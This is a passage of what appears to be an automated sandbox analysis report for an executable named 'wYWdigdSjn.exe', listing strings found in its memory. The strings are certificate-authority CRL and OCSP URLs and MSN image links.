Source: wYWdigdSjn.exe, 00000001.00000003.347778053.0000000006169000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347436897.0000000005781000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/ssca-ecc-g1.crl0L
Source: wYWdigdSjn.exe, 00000001.00000003.386772385.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/ssca-s
Source: wYWdigdSjn.exe, 00000001.00000003.339211469.0000000004721000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266211329.00000000044F1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.295485681.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359400051.0000000006481000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.332496945.0000000004720000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.283530197.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.288477647.0000000004560000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361847934.0000000006561000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.352277117.00000000063A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333427758.0000000004760000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360212914.00000000064A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338647634.0000000004761000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360416462.0000000006499000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.353973189.0000000006381000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.346355513.0000000005AE1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347318468.0000000005AC1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.351876642.00000000063E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/ssca-sha2-g6.crl0L
Source: wYWdigdSjn.exe, 00000001.00000003.426520500.0000000006478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/ssca-sha2-g7.crl0
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAyuliQ?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAzjSw3?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347980368.0000000006148000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB16g6qc?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17milU?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB18T33l?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=j
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19x3nX?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19xCDZ?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19xGDT?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19xMWp?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348394370.00000000060C8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19xaUu?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19xssM?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19xzm6?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=j
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19yF6n?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=j
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348394370.00000000060C8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19yFoT?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19yuvA?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=j
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19yxVU?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB7hjL?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBO5Geh?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347980368.0000000006148000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBPfCZL?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348394370.00000000060C8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBVuddh?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347980368.0000000006148000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBX2afX?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBi9v6?m=6&o=true&u=true&n=true&w=30&h=30
Source: wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348394370.00000000060C8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBnYSFZ?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: wYWdigdSjn.exe, 00000001.00000003.347318468.0000000005AC1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.351876642.00000000063E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: wYWdigdSjn.exe, 00000001.00000003.293920141.0000000004800000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.269000703.00000000046F0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426231795.00000000063E0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.339211469.0000000004721000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338590249.0000000004781000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266211329.00000000044F1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.352033920.0000000006400000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.354482603.0000000006380000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.295485681.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359400051.0000000006481000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426853167.00000000064B0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.332496945.0000000004720000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426520500.0000000006478000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360182966.0000000006480000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.283530197.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.288477647.0000000004560000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.420859834.0000000005658000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333327828.0000000004740000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.351828473.0000000006401000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.339050863.0000000004760000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: wYWdigdSjn.exe, 00000001.00000003.351828473.0000000006401000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347778053.0000000006169000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347436897.0000000005781000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360295990.00000000064A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0B
Source: wYWdigdSjn.exe, 00000001.00000003.351828473.0000000006401000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347778053.0000000006169000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347436897.0000000005781000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360295990.00000000064A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0E
Source: wYWdigdSjn.exe, 00000001.00000003.339211469.0000000004721000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266211329.00000000044F1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.295485681.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359400051.0000000006481000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.332496945.0000000004720000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426520500.0000000006478000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.283530197.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.288477647.0000000004560000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361847934.0000000006561000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.352277117.00000000063A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333427758.0000000004760000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360212914.00000000064A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338647634.0000000004761000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360416462.0000000006499000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.353973189.0000000006381000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.346355513.0000000005AE1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347318468.0000000005AC1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.351876642.00000000063E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0F
Source: wYWdigdSjn.exe, 00000001.00000003.359581349.0000000006489000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: wYWdigdSjn.exe, 00000001.00000003.426802245.00000000064A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0K
Source: wYWdigdSjn.exe, 00000001.00000003.360295990.00000000064A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0M
Source: wYWdigdSjn.exe, 00000001.00000003.338899784.0000000004741000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338486279.00000000047C1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.351876642.00000000063E1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347436897.0000000005781000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360295990.00000000064A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: wYWdigdSjn.exe, 00000001.00000003.338590249.0000000004781000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333327828.0000000004740000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.349615261.00000000061D1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333168870.0000000004780000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347624685.00000000057A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347679687.0000000006189000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.288753222.0000000004658000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338899784.0000000004741000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.pki.goog/GTSGIAG30
